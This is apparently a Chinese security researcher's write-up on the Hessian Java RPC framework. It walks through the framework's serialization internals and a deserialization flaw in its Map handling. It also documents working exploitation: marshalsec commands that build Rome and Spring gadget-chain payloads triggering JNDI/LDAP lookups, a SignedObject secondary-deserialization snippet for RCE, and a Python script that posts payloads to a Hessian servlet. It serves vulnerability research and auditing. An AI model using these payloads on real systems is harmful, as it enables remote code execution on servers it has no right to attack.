先看一下 GPT 对 Hessian 的介绍
Hessian 是一个基于二进制协议的远程调用框架,用于实现不同系统和平台之间的通信。它最初由 Caucho Technology 公司开发,用于在 Java 应用程序之间进行高效的远程调用。Hessian 的设计目标是简单、轻量级、高效,并且跨语言支持。
Hessian 使用二进制数据格式来序列化和反序列化对象,相比于文本格式(如 XML 或 JSON),二进制格式在网络传输效率上更高。这使得 Hessian 在网络带宽有限或需要更高性能的场景下具有优势。
Hessian 通过定义接口和实现类的方式,使得远程调用看起来像是本地方法调用一样简单直观。它支持传输任意的 Java 对象,包括基本类型、自定义对象和集合等,同时也支持异常处理和多种数据类型的序列化。
除了 Java,Hessian 还有其他语言的实现,比如 Python 和 C#,这使得不同语言的系统能够通过 Hessian 进行跨语言的远程调用。这种跨语言的特性使得 Hessian 在分布式系统和微服务架构中得到广泛应用。
1. 编写和运行 Hessian
1.1 Servlet
官网介绍的如何使用
导入依赖
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.66</version> </dependency>
|
服务端 (添加在 SecForJSP项目中)
1.2 Spring
可以参考:https://www.baeldung.com/spring-remoting-hessian-burlap
2. 分析和调试 Hessian
2.1 远程调用
编写服务器端时可以看到,Servlet 继承的 HessianServlet
,也是基于 HttpServlet
的
- 如下是入口:
com.caucho.hessian.server.HessinServlet#service
处理流程
- 向下继续,看到会读取 Client的 Header 信息,并判断 创建哪种
inputsteam
和 outputStream
- 再向下,看到熟悉的
readObject()
,但是这个 readObject
是 HessianInput
的 readObject
,先继续向下调试
- 下面的流程先获取了
Method
、参数、反射执行方法并返回结果
将返回的 result 写入 Hession2Output
中,并返回给 Client
正常的流程就这些,并不复杂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| "getServletConfig" -> {Method@4989} "public javax.servlet.ServletConfig javax.servlet.GenericServlet.getServletConfig()" "getClass" -> {Method@4991} "public final native java.lang.Class java.lang.Object.getClass()" "setService_Object" -> {Method@4993} "public void com.caucho.hessian.server.HessianServlet.setService(java.lang.Object)" "setObjectAPI_Class" -> {Method@4995} "public void com.caucho.hessian.server.HessianServlet.setObjectAPI(java.lang.Class)" "log_string_Throwable" -> {Method@4997} "public void javax.servlet.GenericServlet.log(java.lang.String,java.lang.Throwable)" "setLogName__1" -> {Method@4999} "public void com.caucho.hessian.server.HessianServlet.setLogName(java.lang.String)" "hashCode__0" -> {Method@5001} "public native int java.lang.Object.hashCode()" "getServletName__0" -> {Method@5003} "public java.lang.String javax.servlet.GenericServlet.getServletName()" "setObject__1" -> {Method@5005} "public void com.caucho.hessian.server.HessianServlet.setObject(java.lang.Object)" "init_ServletConfig" -> {Method@5007} "public void com.caucho.hessian.server.HessianServlet.init(javax.servlet.ServletConfig) throws javax.servlet.ServletException" "setObjectAPI__1" -> {Method@4995} "public void com.caucho.hessian.server.HessianServlet.setObjectAPI(java.lang.Class)" "getServletInfo" -> {Method@5010} "public java.lang.String com.caucho.hessian.server.HessianServlet.getServletInfo()" "setObject" -> {Method@5005} "public void com.caucho.hessian.server.HessianServlet.setObject(java.lang.Object)" "getInitParameter_string" -> {Method@5013} "public java.lang.String javax.servlet.GenericServlet.getInitParameter(java.lang.String)" "getInitParameterNames" -> {Method@5015} "public java.util.Enumeration javax.servlet.GenericServlet.getInitParameterNames()" "setHome__1" -> {Method@5017} "public void com.caucho.hessian.server.HessianServlet.setHome(java.lang.Object)" "equals_Object" -> {Method@5021} "public boolean java.lang.Object.equals(java.lang.Object)" "getServletContext__0" -> {Method@5023} "public javax.servlet.ServletContext javax.servlet.GenericServlet.getServletContext()" "destroy__0" -> {Method@5025} "public void javax.servlet.GenericServlet.destroy()" "setSerializerFactory__1" -> {Method@5027} "public void com.caucho.hessian.server.HessianServlet.setSerializerFactory(com.caucho.hessian.io.SerializerFactory)" "setDebug__1" -> {Method@5029} "public void com.caucho.hessian.server.HessianServlet.setDebug(boolean)" "log__2" -> {Method@4997} "public void javax.servlet.GenericServlet.log(java.lang.String,java.lang.Throwable)" "setObject_Object" -> {Method@5005} "public void com.caucho.hessian.server.HessianServlet.setObject(java.lang.Object)" "log__1" -> {Method@5033} "public void javax.servlet.GenericServlet.log(java.lang.String)" "init" -> {Method@5035} "public void javax.servlet.GenericServlet.init() throws javax.servlet.ServletException" "deny" -> {Method@5037} "public void com.caucho.hessian.server.HessianServlet.deny(java.lang.String)" "sayHello" -> {Method@4841} "public java.lang.String Sec19.HessianService.sayHello(java.lang.String)" "allow_string" -> {Method@5039} "public void com.caucho.hessian.server.HessianServlet.allow(java.lang.String)" "setWhitelist__1" -> {Method@5041} "public void com.caucho.hessian.server.HessianServlet.setWhitelist(boolean)" "setHomeAPI" -> {Method@5043} "public void com.caucho.hessian.server.HessianServlet.setHomeAPI(java.lang.Class)" "setHomeAPI_Class" -> {Method@5043} "public void com.caucho.hessian.server.HessianServlet.setHomeAPI(java.lang.Class)" "setSendCollectionType__1" -> {Method@5048} "public void com.caucho.hessian.server.HessianServlet.setSendCollectionType(boolean)" "wait_long_int" -> {Method@5019} "public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException" "setWhitelist" -> {Method@5041} "public void com.caucho.hessian.server.HessianServlet.setWhitelist(boolean)" "setHomeAPI__1" -> {Method@5043} "public void com.caucho.hessian.server.HessianServlet.setHomeAPI(java.lang.Class)" "destroy" -> {Method@5025} "public void javax.servlet.GenericServlet.destroy()" "setHome" -> {Method@5017} "public void com.caucho.hessian.server.HessianServlet.setHome(java.lang.Object)" "getInitParameter__1" -> {Method@5013} "public java.lang.String javax.servlet.GenericServlet.getInitParameter(java.lang.String)" "setAPIClass__1" -> {Method@5055} "public void com.caucho.hessian.server.HessianServlet.setAPIClass(java.lang.Class)" "setWhitelist_boolean" -> {Method@5041} "public void com.caucho.hessian.server.HessianServlet.setWhitelist(boolean)" "wait__0" -> {Method@5058} "public final void java.lang.Object.wait() throws java.lang.InterruptedException" "setLogName" -> {Method@4999} "public void com.caucho.hessian.server.HessianServlet.setLogName(java.lang.String)" "getInitParameter" -> {Method@5013} "public java.lang.String javax.servlet.GenericServlet.getInitParameter(java.lang.String)" "wait__2" -> {Method@5019} "public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException" "wait__1" -> {Method@5063} "public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException" "setHome_Object" -> {Method@5017} "public void com.caucho.hessian.server.HessianServlet.setHome(java.lang.Object)" "service_ServletRequest_ServletResponse" -> {Method@5066} "public void com.caucho.hessian.server.HessianServlet.service(javax.servlet.ServletRequest,javax.servlet.ServletResponse) throws java.io.IOException,javax.servlet.ServletException" "notify__0" -> {Method@5068} "public final native void java.lang.Object.notify()" "allow" -> {Method@5039} "public void com.caucho.hessian.server.HessianServlet.allow(java.lang.String)" "wait" -> {Method@5058} "public final void java.lang.Object.wait() throws java.lang.InterruptedException" "getServletContext" -> {Method@5023} "public javax.servlet.ServletContext javax.servlet.GenericServlet.getServletContext()" "log" -> {Method@4997} "public void javax.servlet.GenericServlet.log(java.lang.String,java.lang.Throwable)" "toString__0" -> {Method@5074} "public java.lang.String java.lang.Object.toString()" "notifyAll" -> {Method@5076} "public final native void java.lang.Object.notifyAll()" "notifyAll__0" -> {Method@5076} "public final native void java.lang.Object.notifyAll()" "sayHello__1" -> {Method@4841} "public java.lang.String Sec19.HessianService.sayHello(java.lang.String)" "getAPIClass__0" -> {Method@5080} "public java.lang.Class com.caucho.hessian.server.HessianServlet.getAPIClass()" "setLogName_string" -> {Method@4999} "public void com.caucho.hessian.server.HessianServlet.setLogName(java.lang.String)" "deny__1" -> {Method@5037} "public void com.caucho.hessian.server.HessianServlet.deny(java.lang.String)" "setAPIClass" -> {Method@5055} "public void com.caucho.hessian.server.HessianServlet.setAPIClass(java.lang.Class)" "setDebug" -> {Method@5029} "public void com.caucho.hessian.server.HessianServlet.setDebug(boolean)" "deny_string" -> {Method@5037} "public void com.caucho.hessian.server.HessianServlet.deny(java.lang.String)" "notify" -> {Method@5068} "public final native void java.lang.Object.notify()" "service__2" -> {Method@5066} "public void com.caucho.hessian.server.HessianServlet.service(javax.servlet.ServletRequest,javax.servlet.ServletResponse) throws java.io.IOException,javax.servlet.ServletException" "setAPIClass_Class" -> {Method@5055} "public void com.caucho.hessian.server.HessianServlet.setAPIClass(java.lang.Class)" "getClass__0" -> {Method@4991} "public final native java.lang.Class java.lang.Object.getClass()" "sayHello_string" -> {Method@4841} "public java.lang.String Sec19.HessianService.sayHello(java.lang.String)" "setSendCollectionType_boolean" -> {Method@5048} "public void com.caucho.hessian.server.HessianServlet.setSendCollectionType(boolean)" "hashCode" -> {Method@5001} "public native int java.lang.Object.hashCode()" "setSerializerFactory_SerializerFactory" -> {Method@5027} "public void com.caucho.hessian.server.HessianServlet.setSerializerFactory(com.caucho.hessian.io.SerializerFactory)" "init__1" -> {Method@5007} "public void com.caucho.hessian.server.HessianServlet.init(javax.servlet.ServletConfig) throws javax.servlet.ServletException" "init__0" -> {Method@5035} "public void javax.servlet.GenericServlet.init() throws javax.servlet.ServletException" "setSendCollectionType" -> {Method@5048} "public void com.caucho.hessian.server.HessianServlet.setSendCollectionType(boolean)" "getAPIClass" -> {Method@5080} "public java.lang.Class com.caucho.hessian.server.HessianServlet.getAPIClass()" "getSerializerFactory" -> {Method@5099} "public com.caucho.hessian.io.SerializerFactory com.caucho.hessian.server.HessianServlet.getSerializerFactory()" "getServletName" -> {Method@5003} "public java.lang.String javax.servlet.GenericServlet.getServletName()" "setService__1" -> {Method@4993} "public void com.caucho.hessian.server.HessianServlet.setService(java.lang.Object)" "wait_long" -> {Method@5063} "public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException" "log_string" -> {Method@5033} "public void javax.servlet.GenericServlet.log(java.lang.String)" "setObjectAPI" -> {Method@4995} "public void com.caucho.hessian.server.HessianServlet.setObjectAPI(java.lang.Class)" "getServletInfo__0" -> {Method@5010} "public java.lang.String com.caucho.hessian.server.HessianServlet.getServletInfo()" "setService" -> {Method@4993} "public void com.caucho.hessian.server.HessianServlet.setService(java.lang.Object)" "setDebug_boolean" -> {Method@5029} "public void com.caucho.hessian.server.HessianServlet.setDebug(boolean)" "getInitParameterNames__0" -> {Method@5015} "public java.util.Enumeration javax.servlet.GenericServlet.getInitParameterNames()" "getServletConfig__0" -> {Method@4989} "public javax.servlet.ServletConfig javax.servlet.GenericServlet.getServletConfig()" "setSerializerFactory" -> {Method@5027} "public void com.caucho.hessian.server.HessianServlet.setSerializerFactory(com.caucho.hessian.io.SerializerFactory)" "service" -> {Method@5066} "public void com.caucho.hessian.server.HessianServlet.service(javax.servlet.ServletRequest,javax.servlet.ServletResponse) throws java.io.IOException,javax.servlet.ServletException" "getSerializerFactory__0" -> {Method@5099} "public com.caucho.hessian.io.SerializerFactory com.caucho.hessian.server.HessianServlet.getSerializerFactory()" "equals" -> {Method@5021} "public boolean java.lang.Object.equals(java.lang.Object)" "equals__1" -> {Method@5021} "public boolean java.lang.Object.equals(java.lang.Object)" "allow__1" -> {Method@5039} "public void com.caucho.hessian.server.HessianServlet.allow(java.lang.String)" "toString" -> {Method@5074} "public java.lang.String java.lang.Object.toString()"
|
2.2 序列化和反序列化
在上面测试远程调用的过程中,读取和写入数据都用到 readObject
和 writeObject
,但是这并不是原生的序列化和反序列化,而是 Hessian
自己按照定义的格式实现的功能,因此这里分析一下Hessian
对于对象的序列化和反序列化
- 编写测试一下
Hessian2.0
协议的序列化和反序列化功能1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package Serialization;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream;
public class serialDemo {
public static void main(String[] args) throws Exception{ Person person1=new Person(); person1.setName("www"); person1.setAge(10); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(os); hessian2Output.writeObject(person1); hessian2Output.close(); System.out.println(os); FileOutputStream fos = new FileOutputStream("/tmp/person.bin"); fos.write(os.toByteArray()); fos.flush(); fos.close(); System.out.println("--------------------"); ByteArrayInputStream is = new ByteArrayInputStream(os.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input(is); Person person2 = (Person)hessian2Input.readObject(); System.out.println(person2.toString()); System.out.println(person2.getName()); System.out.println(person2.getAge());
}
}
|
2.2.1 序列化
- 从
writeObject
调试分析,首先从 SerializerFactory 中根据类获取对应的序列化工具;自定义的类使用的是 UnsafeSerializer
- 看一下
getObjectSerializer
方法,步入过程不多说了,图片右边有堆栈信息,过程会判断目标类的类型,默认使用 getDefaultSerializer()
获取反序列化工具对象
- getDefaultSerializer方法会判断类是否实现了 Serializable 接口,如果没有实现会抛出异常,最终返回了默认的序列化工具类
com.caucho.hessian.io.UnsafeSerializer
- 回到步骤 1 中,继续分析
UnsafeSerializer#writeObject
67 对应 16 进制 0x43,类似于一种tag
标识
2.2.2 反序列化
- 首先读取 tag,进入 switch 开始反序列化
- 初始情况下,读取一个字节,并确保是 8 位无符号整数
1 2 3
| public final int read() throws IOException { return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255; }
|
- 然后使用
this.readObjectDefinition((Class)null)
读取数据
- 继续读取tag,进入 switch 分支,这里的标识数值是 0x60 也就是 96,这个 tag 对应开始加载
Object
实例
- 看下序列化数据的 16 进制内容,如图;整体上比原生的序列化简化很多很多
- 上面有个问题,就是”age”字段的值是 10,但是最后一位数据是 0x9a,这个差别很大;
实际上在第3 步中,读取 String
类型和 Int
的类型字段的”工具类”不同,String
类型会先读取长度,在读取数据,Int
类型的字段值是 10,但是最后一位数据是 0x9a (十进制 154),答案在下图中,Int 类型的 readInt
方法会减去 144
2.3 漏洞点
这样的序列化和反序列化就和原生 readObject 那些漏洞不一样了,网上的文章也有很多,漏洞存在于MapDeserializer#readMap
针对 Map
类型的反序列化过程中
2.3.1 Map 类型的反序列化
- 示例进行序列化和反序列化
2. 使用 MapDeserializer
进行反序列化
- 新建一个
HashMap
对象,通过 readOject
读取序列化数据后,put
到 hashmap
中
漏洞点也就这里,在原生的反序列化中,和 Map 类型牵扯很多
HashMap
触发的 key.hashCode()
[2] TreeMap
中的 compare
3. 利用链
利用工具主要是marshalsec
,包含的利用链
Rome
XBean
- 依赖:org.apache.xbean.xbean-naming
Resin
SpringPartiallyComparableAdvisorHolder
- 依赖:org.springframewor.spring-aop、org.springframework.spring-context、org.aspectj.aspectjweaver
SpringAbstractBeanFactoryPointcutAdvisor
- 依赖:org.springframewor.spring-aop、org.springframework.spring-context
简单分析两个Rome
、SpringPartiallyComparableAdvisorHolder
3.1 Rome利用链
3.1.1 marshalsec
生成 Exp
生成Exp
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Rome ldap:
|
Exp的层级结构
- makeHashCodeTrigger(Object o) 方法
这里有个问题,v1和 v2 都是一样的,且 Key 和 value 也是一样的,这样会导致exp 会触发四次么?
- 返回 Hessian 序列化数据,这里可以看到,允许设置没有实现 Serializable 的类
3.1.2 利用链分析
- 反序列化测试,这里验证了步骤 3 的猜想,触发了 4 次 ldap 请求;这里后面可以改一下
marshalsec
解决这个问题
- 这里到了 2.3.1 中触发
Hashcode
的地方
- 进入利用链
com.rometools.rome.feed.impl.EqualsBean.class#hashCode
,在构造过程中 this.obj 初始化是 ToStringBean
类型的对象
com.rometools.rome.feed.impl.ToStringBean#toString()
,在构造过程中,this.obj 中是JdbcRowSetImpl
类型
- 进入
com.rometools.rome.feed.impl.ToStringBean#toString(String prefix)
,如图,获取 this.obj 中所有的无参的 Getter 方法,并且反射调用
BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
- 触发
JdbcRowSetImpl#getDataBaseMetaData
方法
JdbcRowSetImpl#connect()
方法,进而触发 lookup
导致 JNDI
远程调用,进而 RCE
1 2 3 4 5 6 7 8 9
| HashMap.put HashMap.hash Object.hashCode EqualsBean.hashCode EqualsBean.beanHashCode ToStringBean.toString JdbcRowSetImpl.getDataBaseMetaData JdbcRowSetImpl.connect InitialContext.lookup
|
3.1.3 二次反序列化不出网利用
在 3.1.2 分析利用链的第 8 步中,会触发对象的无参Getter
方法,如图,java.security.SignedObject#getObject()
中触发原生的反序列化RCE,导致二次反序列化
1 2 3 4
| KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(EvilObject, kp.getPrivate(), Signature.getInstance("DSA"));
|
使用 Rome + Commonsbeanutils
组合二次反序列化,不出网触发 RCE
- 测试 打一下 Web 项目中
Hessian
的 Sevlet
3.2 SpringPartiallyComparableAdvisorHolder利用链
3.2.1 生成
3.2.2 利用链分析
HashMap.put
调用key.equals(Object o)
方法
这里通过 marshalsec 生成的 Exp,第二层是 HotSwappable
类,他的 equals(Object x)
会调用参数的 equals
方法, 实际上利用链还是从 XString#equals
开始,如下图
- 进入AspectJAwareAdvisorAutoProxyCreator#toString方法
- 进入
BeanFactoryAspectInstanceFactory#getOrder()
方法
- 如图堆栈所示,最终触发 JNDI远程调用
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder ldap:
|
3.3 URLDNS - 报错
按照前面的分析,感觉 URLDNS
利用链也满足需求,但是这里在 java.net.URL
反序列化时抛出异常了
原因:Java的Unsafe.allocateInstance()
方法是用来创建一个对象实例,但它要求类必须有默认的构造函数
4. 实战应用
4.1 审计
HessianServlet
、Hessian2Input
、HessianInput
4.1.2 远程调用利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
import requests import argparse
def load(name): header=b'\x63\x02\x00\x48\x00\x04'+'test' with open(name,'rb') as f: return header+f.read()
def send(url,payload): proxies = {'http':'127.0.0.1:8080'} headers={'Content-Type':'x-application/hessian'} data=payload res=requests.post(url,headers=headers,data=data,proxies=proxies) return res.text
def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", help="http://x.x.x.x") parser.add_argument("-p",help="payload file") args = parser.parse_args() if args.u==None or args.p==None: print('eg. python hessian.py -u http://127.0.0.1/hessian -p hessian.bins') else: send(args.u, load(args.p)) if __name__ == '__main__': main()
|
PS: 执行两次的原因在 3.1.1 第 3 步中,后面有时间可以修改这个问题
引用
[1] https://www.diguage.com/post/hessian-source-analysis-for-java/
[2] https://su18.org/post/hessian/